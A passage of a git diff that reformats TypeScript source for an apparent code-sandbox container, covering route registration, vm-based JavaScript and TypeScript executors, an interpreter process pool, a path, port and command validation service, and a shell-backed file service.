'PUT', path: '/proxy/{port}', handler: async (req, ctx) => container.get('portHandler').handle(req, ctx), - middleware: [container.get('loggingMiddleware')], + middleware: [container.get('loggingMiddleware')] }); router.register({ method: 'DELETE', path: '/proxy/{port}', handler: async (req, ctx) => container.get('portHandler').handle(req, ctx), - middleware: [container.get('loggingMiddleware')], + middleware: [container.get('loggingMiddleware')] }); // Miscellaneous routes router.register({ method: 'GET', path: '/', - handler: async (req, ctx) => container.get('miscHandler').handle(req, ctx), + handler: async (req, ctx) => container.get('miscHandler').handle(req, ctx) }); router.register({ method: 'GET', path: '/api/ping', handler: async (req, ctx) => container.get('miscHandler').handle(req, ctx), - middleware: [container.get('loggingMiddleware')], + middleware: [container.get('loggingMiddleware')] }); router.register({ method: 'GET', path: '/api/commands', handler: async (req, ctx) => container.get('miscHandler').handle(req, ctx), - middleware: [container.get('loggingMiddleware')], + middleware: [container.get('loggingMiddleware')] }); router.register({ method: 'GET', path: '/api/version', handler: async (req, ctx) => container.get('miscHandler').handle(req, ctx), - middleware: [container.get('loggingMiddleware')], + middleware: [container.get('loggingMiddleware')] }); -} \ No newline at end of file +} diff --git a/packages/sandbox-container/src/runtime/executors/javascript/node_executor.ts b/packages/sandbox-container/src/runtime/executors/javascript/node_executor.ts index c14920c4..d64a5c06 100644 --- a/packages/sandbox-container/src/runtime/executors/javascript/node_executor.ts +++ b/packages/sandbox-container/src/runtime/executors/javascript/node_executor.ts @@ -37,7 +37,7 @@ const sandbox = { const context = vm.createContext(sandbox); -console.log(JSON.stringify({ status: "ready" })); +console.log(JSON.stringify({ status: 'ready' })); rl.on('line', async (line: string) => { try { @@ -50,13 +50,21 @@ rl.on('line', async (line: string) => { let stdout = ''; let stderr = ''; - (process.stdout.write as any) = (chunk: string | Buffer, encoding?: BufferEncoding, callback?: () => void) => { + (process.stdout.write as any) = ( + chunk: string | Buffer, + encoding?: BufferEncoding, + callback?: () => void + ) => { stdout += chunk.toString(); if (callback) callback(); return true; }; - (process.stderr.write as any) = (chunk: string | Buffer, encoding?: BufferEncoding, callback?: () => void) => { + (process.stderr.write as any) = ( + chunk: string | Buffer, + encoding?: BufferEncoding, + callback?: () => void + ) => { stderr += chunk.toString(); if (callback) callback(); return true; @@ -67,7 +75,7 @@ rl.on('line', async (line: string) => { try { const options: vm.RunningScriptOptions = { - filename: ``, + filename: `` }; // Only add timeout if specified (undefined = unlimited) @@ -76,7 +84,6 @@ rl.on('line', async (line: string) => { } result = vm.runInContext(code, context, options); - } catch (error: unknown) { const err = error as Error; stderr += err.stack || err.toString(); @@ -98,7 +105,11 @@ rl.on('line', async (line: string) => { } else { outputs.push({ type: 'text', - data: util.inspect(result, { showHidden: false, depth: null, colors: false }), + data: util.inspect(result, { + showHidden: false, + depth: null, + colors: false + }), metadata: {} }); } @@ -113,16 +124,17 @@ rl.on('line', async (line: string) => { }; console.log(JSON.stringify(response)); - } catch (error: unknown) { const err = error as Error; - console.log(JSON.stringify({ - stdout: '', - stderr: `Error processing request: ${err.message}`, - success: false, - executionId: 'unknown', - outputs: [] - })); + console.log( + JSON.stringify({ + stdout: '', + stderr: `Error processing request: ${err.message}`, + success: false, + executionId: 'unknown', + outputs: [] + }) + ); } }); @@ -134,4 +146,4 @@ process.on('SIGTERM', () => { process.on('SIGINT', () => { rl.close(); process.exit(0); -}); \ No newline at end of file +}); diff --git a/packages/sandbox-container/src/runtime/executors/typescript/ts_executor.ts b/packages/sandbox-container/src/runtime/executors/typescript/ts_executor.ts index d1aa48d3..2453f4be 100644 --- a/packages/sandbox-container/src/runtime/executors/typescript/ts_executor.ts +++ b/packages/sandbox-container/src/runtime/executors/typescript/ts_executor.ts @@ -38,7 +38,7 @@ const sandbox = { const context = vm.createContext(sandbox); -console.log(JSON.stringify({ status: "ready" })); +console.log(JSON.stringify({ status: 'ready' })); rl.on('line', async (line: string) => { try { @@ -51,13 +51,21 @@ rl.on('line', async (line: string) => { let stdout = ''; let stderr = ''; - (process.stdout.write as any) = (chunk: string | Buffer, encoding?: BufferEncoding, callback?: () => void) => { + (process.stdout.write as any) = ( + chunk: string | Buffer, + encoding?: BufferEncoding, + callback?: () => void + ) => { stdout += chunk.toString(); if (callback) callback(); return true; }; - (process.stderr.write as any) = (chunk: string | Buffer, encoding?: BufferEncoding, callback?: () => void) => { + (process.stderr.write as any) = ( + chunk: string | Buffer, + encoding?: BufferEncoding, + callback?: () => void + ) => { stderr += chunk.toString(); if (callback) callback(); return true; @@ -73,12 +81,12 @@ rl.on('line', async (line: string) => { format: 'cjs', sourcemap: false, treeShaking: false, - minify: false, + minify: false }); const jsCode = transpileResult.code; const options: vm.RunningScriptOptions = { - filename: ``, + filename: `` }; // Only add timeout if specified (undefined = unlimited) @@ -87,7 +95,6 @@ rl.on('line', async (line: string) => { } result = vm.runInContext(jsCode, context, options); - } catch (error: unknown) { const err = error as Error; if (err.message?.includes('Transform failed')) { @@ -113,7 +120,11 @@ rl.on('line', async (line: string) => { } else { outputs.push({ type: 'text', - data: util.inspect(result, { showHidden: false, depth: null, colors: false }), + data: util.inspect(result, { + showHidden: false, + depth: null, + colors: false + }), metadata: {} }); } @@ -128,16 +139,17 @@ rl.on('line', async (line: string) => { }; console.log(JSON.stringify(response)); - } catch (error: unknown) { const err = error as Error; - console.log(JSON.stringify({ - stdout: '', - stderr: `Error processing request: ${err.message}`, - success: false, - executionId: 'unknown', - outputs: [] - })); + console.log( + JSON.stringify({ + stdout: '', + stderr: `Error processing request: ${err.message}`, + success: false, + executionId: 'unknown', + outputs: [] + }) + ); } }); @@ -149,4 +161,4 @@ process.on('SIGTERM', () => { process.on('SIGINT', () => { rl.close(); process.exit(0); -}); \ No newline at end of file +}); diff --git a/packages/sandbox-container/src/runtime/process-pool.ts b/packages/sandbox-container/src/runtime/process-pool.ts index bdb32d08..0e36290b 100644 --- a/packages/sandbox-container/src/runtime/process-pool.ts +++ b/packages/sandbox-container/src/runtime/process-pool.ts @@ -1,10 +1,10 @@ -import { type ChildProcess, spawn } from "node:child_process"; -import { randomUUID } from "node:crypto"; -import type { Logger } from "@repo/shared"; -import { createLogger } from "@repo/shared"; -import { CONFIG } from "../config"; +import { type ChildProcess, spawn } from 'node:child_process'; +import { randomUUID } from 'node:crypto'; +import type { Logger } from '@repo/shared'; +import { createLogger } from '@repo/shared'; +import { CONFIG } from '../config'; -export type InterpreterLanguage = "python" | "javascript" | "typescript"; +export type InterpreterLanguage = 'python' | 'javascript' | 'typescript'; export interface InterpreterProcess { id: string; @@ -29,7 +29,17 @@ export interface ExecutionResult { } export interface RichOutput { - type: "text" | "image" | "jpeg" | "svg" | "html" | "json" | "latex" | "markdown" | "javascript" | "error"; + type: + | 'text' + | 'image' + | 'jpeg' + | 'svg' + | 'html' + | 'json' + | 'latex' + | 'markdown' + | 'javascript' + | 'error'; data: string; metadata?: Record; } @@ -44,24 +54,27 @@ export interface ExecutorPoolConfig extends PoolConfig { executor: InterpreterLanguage; } -const DEFAULT_EXECUTOR_CONFIGS: Record = { +const DEFAULT_EXECUTOR_CONFIGS: Record< + InterpreterLanguage, + ExecutorPoolConfig +> = { python: { - executor: "python", + executor: 'python', minSize: 3, maxProcesses: 15, - idleTimeout: 5 * 60 * 1000, // 5 minutes + idleTimeout: 5 * 60 * 1000 // 5 minutes }, javascript: { - executor: "javascript", + executor: 'javascript', minSize: 3, maxProcesses: 10, - idleTimeout: 5 * 60 * 1000, + idleTimeout: 5 * 60 * 1000 }, typescript: { - executor: "typescript", + executor: 'typescript', minSize: 3, maxProcesses: 10, - idleTimeout: 5 * 60 * 1000, + idleTimeout: 5 * 60 * 1000 } }; @@ -71,9 +84,17 @@ export class ProcessPoolManager { private cleanupInterval?: NodeJS.Timeout; private logger: Logger; - constructor(customConfigs: Partial>> = {}, logger?: Logger) { + constructor( + customConfigs: Partial< + Record> + > = {}, + logger?: Logger + ) { this.logger = logger ?? createLogger({ component: 'executor' }); - const executorEntries = Object.entries(DEFAULT_EXECUTOR_CONFIGS) as [InterpreterLanguage, ExecutorPoolConfig][]; + const executorEntries = Object.entries(DEFAULT_EXECUTOR_CONFIGS) as [ + InterpreterLanguage, + ExecutorPoolConfig + ][]; for (const [executor, defaultConfig] of executorEntries) { const userConfig = customConfigs[executor] || {}; @@ -84,15 +105,19 @@ export class ProcessPoolManager { ...defaultConfig, ...userConfig, // Environment variables override user config override defaults - minSize: envMinSize ? parseInt(envMinSize, 10) : (userConfig.minSize || defaultConfig.minSize), - maxProcesses: envMaxSize ? parseInt(envMaxSize, 10) : (userConfig.maxProcesses || defaultConfig.maxProcesses) + minSize: envMinSize + ? parseInt(envMinSize, 10) + : userConfig.minSize || defaultConfig.minSize, + maxProcesses: envMaxSize + ? parseInt(envMaxSize, 10) + : userConfig.maxProcesses || defaultConfig.maxProcesses }; this.poolConfigs.set(executor, config); this.pools.set(executor, []); } - const pythonConfig = this.poolConfigs.get("python"); + const pythonConfig = this.poolConfigs.get('python'); if (pythonConfig) { this.cleanupInterval = setInterval(() => { this.cleanupIdleProcesses(); @@ -101,7 +126,9 @@ export class ProcessPoolManager { // Start pre-warming in background - don't block constructor this.startPreWarming().catch((error) => { - this.logger.debug('Pre-warming failed', { error: error instanceof Error ? error.message : String(error) }); + this.logger.debug('Pre-warming failed', { + error: error instanceof Error ? error.message : String(error) + }); }); } @@ -120,8 +147,14 @@ export class ProcessPoolManager { try { const execStartTime = Date.now(); // Use provided timeout, or fall back to config (which may be undefined = unlimited) - const effectiveTimeout = timeout ?? CONFIG.INTERPRETER_EXECUTION_TIMEOUT_MS; - const result = await this.executeCode(process, code, executionId, effectiveTimeout); + const effectiveTimeout = + timeout ?? CONFIG.INTERPRETER_EXECUTION_TIMEOUT_MS; + const result = await this.executeCode( + process, + code, + executionId, + effectiveTimeout + ); const execTime = Date.now() - execStartTime; const totalTime = Date.now() - totalStartTime; @@ -195,17 +228,24 @@ export class ProcessPoolManager { let args: string[]; switch (language) { - case "python": - command = "python3"; - args = ["-u", "/container-server/dist/runtime/executors/python/ipython_executor.py"]; + case 'python': + command = 'python3'; + args = [ + '-u', + '/container-server/dist/runtime/executors/python/ipython_executor.py' + ]; break; - case "javascript": - command = "node"; - args = ["/container-server/dist/runtime/executors/javascript/node_executor.js"]; + case 'javascript': + command = 'node'; + args = [ + '/container-server/dist/runtime/executors/javascript/node_executor.js' + ]; break; - case "typescript": - command = "node"; - args = ["/container-server/dist/runtime/executors/typescript/ts_executor.js"]; + case 'typescript': + command = 'node'; + args = [ + '/container-server/dist/runtime/executors/typescript/ts_executor.js' + ]; break; } @@ -216,13 +256,13 @@ export class ProcessPoolManager { }); const childProcess = spawn(command, args, { - stdio: ["pipe", "pipe", "pipe"], + stdio: ['pipe', 'pipe', 'pipe'], env: { ...process.env, - PYTHONUNBUFFERED: "1", - NODE_NO_WARNINGS: "1", + PYTHONUNBUFFERED: '1', + NODE_NO_WARNINGS: '1' }, - cwd: "/workspace", + cwd: '/workspace' }); const interpreterProcess: InterpreterProcess = { @@ -231,12 +271,12 @@ export class ProcessPoolManager { process: childProcess, sessionId, lastUsed: new Date(), - isAvailable: false, + isAvailable: false }; return new Promise((resolve, reject) => { - let readyBuffer = ""; - let errorBuffer = ""; + let readyBuffer = ''; + let errorBuffer = ''; const timeout = setTimeout(() => { childProcess.kill(); @@ -246,7 +286,11 @@ export class ProcessPoolManager { stdout: readyBuffer, stderr: errorBuffer }); - reject(new Error(`${language} executor failed to start within ${CONFIG.INTERPRETER_SPAWN_TIMEOUT_MS}ms`)); + reject( + new Error( + `${language} executor failed to start within ${CONFIG.INTERPRETER_SPAWN_TIMEOUT_MS}ms` + ) + ); }, CONFIG.INTERPRETER_SPAWN_TIMEOUT_MS); const readyHandler = (data: Buffer) => { @@ -258,8 +302,8 @@ export class ProcessPoolManager { if (readyBuffer.includes('"ready"')) { clearTimeout(timeout); - childProcess.stdout?.removeListener("data", readyHandler); - childProcess.stderr?.removeListener("data", errorHandler); + childProcess.stdout?.removeListener('data', readyHandler); + childProcess.stderr?.removeListener('data', errorHandler); const readyTime = Date.now() - startTime; this.logger.debug('Interpreter process ready', { language, @@ -278,10 +322,10 @@ export class ProcessPoolManager { }); }; - childProcess.stdout?.on("data", readyHandler); - childProcess.stderr?.on("data", errorHandler); + childProcess.stdout?.on('data', readyHandler); + childProcess.stderr?.on('data', errorHandler); - childProcess.once("error", (err) => { + childProcess.once('error', (err) => { clearTimeout(timeout); this.logger.debug('Interpreter spawn error', { language, @@ -290,7 +334,7 @@ export class ProcessPoolManager { reject(err); }); - childProcess.once("exit", (code) => { + childProcess.once('exit', (code) => { if (code !== 0) { clearTimeout(timeout); this.logger.debug('Interpreter exited during spawn', { @@ -313,12 +357,12 @@ export class ProcessPoolManager { return new Promise((resolve, reject) => { let timer: NodeJS.Timeout | undefined; - let responseBuffer = ""; + let responseBuffer = ''; // Cleanup function to ensure listener is always removed const cleanup = () => { if (timer) clearTimeout(timer); - process.process.stdout?.removeListener("data", responseHandler); + process.process.stdout?.removeListener('data', responseHandler); }; // Set up timeout ONLY if specified (undefined = unlimited) @@ -328,7 +372,7 @@ export class ProcessPoolManager { // NOTE: We don't kill the child process here because it's a pooled interpreter // that may be reused. The timeout is enforced, but the interpreter continues. // The executor itself also has its own timeout mechanism for VM execution. - reject(new Error("Execution timeout")); + reject(new Error('Execution timeout')); }, timeout); } @@ -340,19 +384,19 @@ export class ProcessPoolManager { cleanup(); resolve({ - stdout: response.stdout || "", - stderr: response.stderr || "", + stdout: response.stdout || '', + stderr: response.stderr || '', success: response.success !== false, executionId, outputs: response.outputs || [], - error: response.error || null, + error: response.error || null }); } catch (e) { // Incomplete JSON, keep buffering } }; - process.process.stdout?.on("data", responseHandler); + process.process.stdout?.on('data', responseHandler); process.process.stdin?.write(`${request}\n`); }); } @@ -384,7 +428,9 @@ export class ProcessPoolManager { try { await Promise.all(warmupPromises); const totalTime = Date.now() - startTime; - this.logger.debug('Pre-warming complete for all executors', { totalTime }); + this.logger.debug('Pre-warming complete for all executors', { + totalTime + }); } catch (error) { this.logger.debug('Pre-warming failed', { error: error instanceof Error ? error.message : String(error) @@ -392,7 +438,10 @@ export class ProcessPoolManager { } } - private async preWarmExecutor(executor: InterpreterLanguage, config: ExecutorPoolConfig): Promise { + private async preWarmExecutor( + executor: InterpreterLanguage, + config: ExecutorPoolConfig + ): Promise { const startTime = Date.now(); this.logger.debug('Pre-warming executor', { executor, @@ -423,7 +472,7 @@ export class ProcessPoolManager { } const warmupTime = Date.now() - startTime; - const actualCount = pool.filter(p => p.isAvailable).length; + const actualCount = pool.filter((p) => p.isAvailable).length; this.logger.debug('Pre-warming executor complete', { executor, actualCount, @@ -449,9 +498,11 @@ export class ProcessPoolManager { const idleTime = now.getTime() - process.lastUsed.getTime(); // Only clean up excess processes beyond minimum pool size - if (process.isAvailable && - idleTime > config.idleTimeout && - pool.filter(p => p.isAvailable).length > config.minSize) { + if ( + process.isAvailable && + idleTime > config.idleTimeout && + pool.filter((p) => p.isAvailable).length > config.minSize + ) { process.process.kill(); pool.splice(i, 1); this.logger.debug('Cleaned up idle process', { @@ -482,4 +533,4 @@ export class ProcessPoolManager { } } -export const processPool = new ProcessPoolManager(); \ No newline at end of file +export const processPool = new ProcessPoolManager(); diff --git a/packages/sandbox-container/src/security/security-adapter.ts b/packages/sandbox-container/src/security/security-adapter.ts index 409c9783..c0d995ce 100644 --- a/packages/sandbox-container/src/security/security-adapter.ts +++ b/packages/sandbox-container/src/security/security-adapter.ts @@ -9,7 +9,7 @@ export class SecurityServiceAdapter { const result = this.securityService.validatePath(path); return { isValid: result.isValid, - errors: result.errors.map(e => e.message) + errors: result.errors.map((e) => e.message) }; } @@ -18,16 +18,16 @@ export class SecurityServiceAdapter { const result = this.securityService.validatePort(port); return { isValid: result.isValid, - errors: result.errors.map(e => e.message) + errors: result.errors.map((e) => e.message) }; } - // Git service interface + // Git service interface validateGitUrl(url: string): { isValid: boolean; errors: string[] } { const result = this.securityService.validateGitUrl(url); return { isValid: result.isValid, - errors: result.errors.map(e => e.message) + errors: result.errors.map((e) => e.message) }; } @@ -36,7 +36,7 @@ export class SecurityServiceAdapter { const result = this.securityService.validateCommand(command); return { isValid: result.isValid, - errors: result.errors.map(e => e.message) + errors: result.errors.map((e) => e.message) }; } -} \ No newline at end of file +} diff --git a/packages/sandbox-container/src/security/security-service.ts b/packages/sandbox-container/src/security/security-service.ts index 84c6261b..23826e09 100644 --- a/packages/sandbox-container/src/security/security-service.ts +++ b/packages/sandbox-container/src/security/security-service.ts @@ -15,7 +15,7 @@ export class SecurityService { // Only port 3000 is truly reserved (SDK control plane) // This is REAL security - prevents control plane interference private static readonly RESERVED_PORTS = [ - 3000, // Container control plane (API endpoints) - MUST be protected + 3000 // Container control plane (API endpoints) - MUST be protected ]; constructor(private logger: Logger) {} @@ -32,7 +32,14 @@ export class SecurityService { // Basic validation if (!path || typeof path !== 'string') { errors.push('Path must be a non-empty string'); - return { isValid: false, errors: errors.map(e => ({ field: 'path', message: e, code: 'INVALID_PATH' })) }; + return { + isValid: false, + errors: errors.map((e) => ({ + field: 'path', + message: e, + code: 'INVALID_PATH' + })) + }; } // Only validate format, not content @@ -45,7 +52,7 @@ export class SecurityService { } const isValid = errors.length === 0; - const validationErrors = errors.map(e => ({ + const validationErrors = errors.map((e) => ({ field: 'path', message: e, code: 'INVALID_PATH' @@ -92,12 +99,14 @@ export class SecurityService { // CRITICAL: Protect SDK control plane if (SecurityService.RESERVED_PORTS.includes(port)) { - errors.push(`Port ${port} is reserved for the sandbox API control plane`); + errors.push( + `Port ${port} is reserved for the sandbox API control plane` + ); } } const isValid = errors.length === 0; - const validationErrors = errors.map(e => ({ + const validationErrors = errors.map((e) => ({ field: 'port', message: e, code: 'INVALID_PORT' @@ -133,7 +142,14 @@ export class SecurityService { // Basic validation if (!command || typeof command !== 'string') { errors.push('Command must be a non-empty string'); - return { isValid: false, errors: errors.map(e => ({ field: 'command', message: e, code: 'INVALID_COMMAND' })) }; + return { + isValid: false, + errors: errors.map((e) => ({ + field: 'command', + message: e, + code: 'INVALID_COMMAND' + })) + }; } const trimmedCommand = command.trim(); @@ -151,7 +167,7 @@ export class SecurityService { } const isValid = errors.length === 0; - const validationErrors = errors.map(e => ({ + const validationErrors = errors.map((e) => ({ field: 'command', message: e, code: 'INVALID_COMMAND' @@ -190,7 +206,14 @@ export class SecurityService { // Basic validation if (!url || typeof url !== 'string') { errors.push('Git URL must be a non-empty string'); - return { isValid: false, errors: errors.map(e => ({ field: 'gitUrl', message: e, code: 'INVALID_GIT_URL' })) }; + return { + isValid: false, + errors: errors.map((e) => ({ + field: 'gitUrl', + message: e, + code: 'INVALID_GIT_URL' + })) + }; } const trimmedUrl = url.trim(); @@ -208,7 +231,7 @@ export class SecurityService { } const isValid = errors.length === 0; - const validationErrors = errors.map(e => ({ + const validationErrors = errors.map((e) => ({ field: 'gitUrl', message: e, code: 'INVALID_GIT_URL' @@ -243,7 +266,7 @@ export class SecurityService { const randomBytes = new Uint8Array(16); crypto.getRandomValues(randomBytes); const randomHex = Array.from(randomBytes) - .map(b => b.toString(16).padStart(2, '0')) + .map((b) => b.toString(16).padStart(2, '0')) .join(''); return `session_${timestamp}_${randomHex}`; @@ -254,7 +277,7 @@ export class SecurityService { this.logger.warn(`SECURITY_EVENT: ${event}`, { timestamp: new Date().toISOString(), event, - ...details, + ...details }); } } diff --git a/packages/sandbox-container/src/services/file-service.ts b/packages/sandbox-container/src/services/file-service.ts index fef3c41f..de5601fb 100644 --- a/packages/sandbox-container/src/services/file-service.ts +++ b/packages/sandbox-container/src/services/file-service.ts @@ -2,7 +2,7 @@ import type { FileInfo, ListFilesOptions, Logger } from '@repo/shared'; import type { FileNotFoundContext, FileSystemContext, - ValidationFailedContext, + ValidationFailedContext } from '@repo/shared/errors'; import { ErrorCode, Operation } from '@repo/shared/errors'; import type { @@ -22,15 +22,40 @@ export interface SecurityService { // File system operations interface with session support export interface FileSystemOperations { - read(path: string, options?: ReadOptions, sessionId?: string): Promise>; - write(path: string, content: string, options?: WriteOptions, sessionId?: string): Promise>; + read( + path: string, + options?: ReadOptions, + sessionId?: string + ): Promise>; + write( + path: string, + content: string, + options?: WriteOptions, + sessionId?: string + ): Promise>; delete(path: string, sessionId?: string): Promise>; - rename(oldPath: string, newPath: string, sessionId?: string): Promise>; - move(sourcePath: string, destinationPath: string, sessionId?: string): Promise>; - mkdir(path: string, options?: MkdirOptions, sessionId?: string): Promise>; + rename( + oldPath: string, + newPath: string, + sessionId?: string + ): Promise>; + move( + sourcePath: string, + destinationPath: string, + sessionId?: string + ): Promise>; + mkdir( + path: string, + options?: MkdirOptions, + sessionId?: string + ): Promise>; exists(path: string, sessionId?: string): Promise>; stat(path: string, sessionId?: string): Promise>; - list(path: string, options?: ListFilesOptions, sessionId?: string): Promise>; + list( + path: string, + options?: ListFilesOptions, + sessionId?: string + ): Promise>; } export class FileService implements FileSystemOperations { @@ -55,7 +80,11 @@ export class FileService implements FileSystemOperations { return `'${path.replace(/'/g, "'\\''")}'`; } - async read(path: string, options: ReadOptions = {}, sessionId = 'default'): Promise> { + async read( + path: string, + options: ReadOptions = {}, + sessionId = 'default' + ): Promise> { try { // 1. Validate path for security const validation = this.security.validatePath(path); @@ -63,10 +92,16 @@ export class FileService implements FileSystemOperations { return { success: false, error: { - message: `Invalid path format for '${path}': ${validation.errors.join(', ')}`, + message: `Invalid path format for '${path}': ${validation.errors.join( + ', ' + )}`, code: ErrorCode.VALIDATION_FAILED, details: { - validationErrors: validation.errors.map(e => ({ field: 'path', message: e, code: 'INVALID_PATH' })) + validationErrors: validation.errors.map((e) => ({ + field: 'path', + message: e, + code: 'INVALID_PATH' + })) } satisfies ValidationFailedContext } }; @@ -98,7 +133,10 @@ export class FileService implements FileSystemOperations { // 3. Get file size using stat const escapedPath = this.escapePath(path); const statCommand = `stat -c '%s' ${escapedPath} 2>/dev/null`; - const statResult = await this.sessionManager.executeInSession(sessionId, statCommand); + const statResult = await this.sessionManager.executeInSession( + sessionId, + statCommand + ); if (!statResult.success) { return { @@ -134,7 +172,10 @@ export class FileService implements FileSystemOperations { // 4. Detect MIME type using file command const mimeCommand = `file --mime-type -b ${escapedPath}`; - const mimeResult = await this.sessionManager.executeInSession(sessionId, mimeCommand); + const mimeResult = await this.sessionManager.executeInSession( + sessionId, + mimeCommand + ); if (!mimeResult.success) { return { @@ -170,11 +211,12 @@ export class FileService implements FileSystemOperations { // 5. Determine if file is binary based on MIME type // Text MIME types: text/*, application/json, application/xml, application/javascript, etc. - const isBinary = !mimeType.startsWith('text/') && - !mimeType.includes('json') && - !mimeType.includes('xml') && - !mimeType.includes('javascript') && - !mimeType.includes('x-empty'); + const isBinary = + !mimeType.startsWith('text/') && + !mimeType.includes('json') && + !mimeType.includes('xml') && + !mimeType.includes('javascript') && + !mimeType.includes('x-empty'); // 6. Read file with appropriate encoding let content: string; @@ -183,7 +225,10 @@ export class FileService implements FileSystemOperations { if (isBinary) { // Binary files: read as base64, return as-is (DO NOT decode) const base64Command = `base64 -w 0 < ${escapedPath}`; - const base64Result = await this.sessionManager.executeInSession(sessionId, base64Command); + const base64Result = await this.sessionManager.executeInSession( + sessionId, + base64Command + ); if (!base64Result.success) { return { @@ -220,7 +265,10 @@ export class FileService implements FileSystemOperations { } else { // Text files: read normally const catCommand = `cat ${escapedPath}`; - const catResult = await this.sessionManager.executeInSession(sessionId, catCommand); + const catResult = await this.sessionManager.executeInSession( + sessionId, + catCommand + ); if (!catResult.success) { return { @@ -267,8 +315,13 @@ export class FileService implements FileSystemOperations { } }; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Failed to read file', error instanceof Error ? error : undefined, { path }); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Failed to read file', + error instanceof Error ? error : undefined, + { path } + ); return { success: false, @@ -285,7 +338,12 @@ export class FileService implements FileSystemOperations { } } - async write(path: string, content: string, options: WriteOptions = {}, sessionId = 'default'): Promise> { + async write( + path: string, + content: string, + options: WriteOptions = {}, + sessionId = 'default' + ): Promise> { try { // 1. Validate path for security const validation = this.security.validatePath(path); @@ -293,10 +351,16 @@ export class FileService implements FileSystemOperations { return { success: false, error: { - message: `Invalid path format for '${path}': ${validation.errors.join(', ')}`, + message: `Invalid path format for '${path}': ${validation.errors.join( + ', ' + )}`, code: ErrorCode.VALIDATION_FAILED, details: { - validationErrors: validation.errors.map(e => ({ field: 'path', message: e, code: 'INVALID_PATH' })) + validationErrors: validation.errors.map((e) => ({ + field: 'path', + message: e, + code: 'INVALID_PATH' + })) } satisfies ValidationFailedContext } }; @@ -309,7 +373,10 @@ export class FileService implements FileSystemOperations { const base64Content = Buffer.from(content, 'utf-8').toString('base64'); const command = `echo '${base64Content}' | base64 -d > ${escapedPath}`; - const execResult = await this.sessionManager.executeInSession(sessionId, command); + const execResult = await this.sessionManager.executeInSession( + sessionId, + command + ); if (!execResult.success) { return execResult as ServiceResult; @@ -321,7 +388,9 @@ export class FileService implements FileSystemOperations { return { success: false, error: { - message: `Failed to write file '${path}': ${result.stderr || `exit code ${result.exitCode}`}`, + message: `Failed to write file '${path}': ${ + result.stderr || `exit code ${result.exitCode}` + }`, code: ErrorCode.FILESYSTEM_ERROR, details: { path, @@ -337,8 +406,13 @@ export class FileService implements FileSystemOperations { success: true }; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Failed to write file', error instanceof Error ? error : undefined, { path }); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Failed to write file', + error instanceof Error ? error : undefined, + { path } + ); return { success: false, @@ -355,7 +429,10 @@ export class FileService implements FileSystemOperations { } } - async delete(path: string, sessionId = 'default'): Promise> { + async delete( + path: string, + sessionId = 'default' + ): Promise> { try { // 1. Validate path for security const validation = this.security.validatePath(path); @@ -363,10 +440,16 @@ export class FileService implements FileSystemOperations { return { success: false, error: { - message: `Invalid path format for '${path}': ${validation.errors.join(', ')}`, + message: `Invalid path format for '${path}': ${validation.errors.join( + ', ' + )}`, code: ErrorCode.VALIDATION_FAILED, details: { - validationErrors: validation.errors.map(e => ({ field: 'path', message: e, code: 'INVALID_PATH' })) + validationErrors: validation.errors.map((e) => ({ + field: 'path', + message: e, + code: 'INVALID_PATH' + })) } satisfies ValidationFailedContext } }; @@ -412,7 +495,10 @@ export class FileService implements FileSystemOperations { const escapedPath = this.escapePath(path); const command = `rm ${escapedPath}`; - const execResult = await this.sessionManager.executeInSession(sessionId, command); + const execResult = await this.sessionManager.executeInSession( + sessionId, + command + ); if (!execResult.success) { return execResult as ServiceResult; @@ -424,7 +510,9 @@ export class FileService implements FileSystemOperations { return { success: false, error: { - message: `Failed to delete file '${path}': ${result.stderr || `exit code ${result.exitCode}`}`, + message: `Failed to delete file '${path}': ${ + result.stderr || `exit code ${result.exitCode}` + }`, code: ErrorCode.FILESYSTEM_ERROR, details: { path, @@ -440,8 +528,13 @@ export class FileService implements FileSystemOperations { success: true }; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Failed to delete file', error instanceof Error ? error : undefined, { path }); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Failed to delete file', + error instanceof Error ? error : undefined, + { path } + ); return { success: false, @@ -458,7 +551,11 @@ export class FileService implements FileSystemOperations { } } - async rename(oldPath: string, newPath: string, sessionId = 'default'): Promise> { + async rename( + oldPath: string, + newPath: string, + sessionId = 'default' + ): Promise> { try { // 1. Validate both paths for security const oldValidation = this.security.validatePath(oldPath); @@ -501,7 +598,10 @@ export class FileService implements FileSystemOperations { const escapedNewPath = this.escapePath(newPath); const command = `mv ${escapedOldPath} ${escapedNewPath}`; - const execResult = await this.sessionManager.executeInSession(sessionId, command); + const execResult = await this.sessionManager.executeInSession( + sessionId, + command + ); if (!execResult.success) { return execResult as ServiceResult; @@ -515,7 +615,12 @@ export class FileService implements FileSystemOperations { error: { message: `Rename operation failed with exit code ${result.exitCode}`, code: ErrorCode.FILESYSTEM_ERROR, - details: { oldPath, newPath, exitCode: result.exitCode, stderr: result.stderr } + details: { + oldPath, + newPath, + exitCode: result.exitCode, + stderr: result.stderr + } } }; } @@ -524,8 +629,13 @@ export class FileService implements FileSystemOperations { success: true }; } catch (error) { - const errorMessage = error instanceof Error ? error.message : 'Unknown error'; - this.logger.error('Failed to rename file', error instanceof Error ? error : undefined, { oldPath, newPath }); + const errorMessage = + error instanceof Error ? error.message : 'Unknown error'; + this.logger.error( + 'Failed to rename file', + error instanceof Error ? error : undefined, + { oldPath, newPath } + ); return { success: false, @@ -542,7 +652,11 @@ export class FileService implements FileSystemOperations { } } - async move(sourcePath: string, destinationPath: string, sessionId = 'default'): Promise> { + async move( + sourcePath: string, + destinationPath: string, + sessionId = 'default' + ): Promise> { try { // 1. Validate both paths for security const sourceValidation = this.security.validatePath(sourcePath); @@ -586,7 +700,10 @@ export class FileService implements FileSystemOperations { const escapedDest = this.escapePath(destinationPath); const command = `mv ${escapedSource} ${escapedDest}`; - const execResult = await this.sessionManager.executeInSession(sessionId, command); + const execResult = await this.sessionManager.executeInSession( + sessionId, + command + ); if (!execResult.success) { return execResult as ServiceResult; @@ -600,7 +717,12 @@ export class FileService implements FileSystemOperations { error: { message: `Move operation failed with exit code ${result.exitCode}`, code: ErrorCode.FILESYSTEM_ERROR, - details: { sourcePath, destinationPath, exitCode: result.exitCode, stderr: result.stderr } + details: { + sourcePath, + destinationPath, + exitCode: result.exitCode, + stderr: result.stderr + } } }; } @@ -609,8 +731,13 @@ export class FileService implements 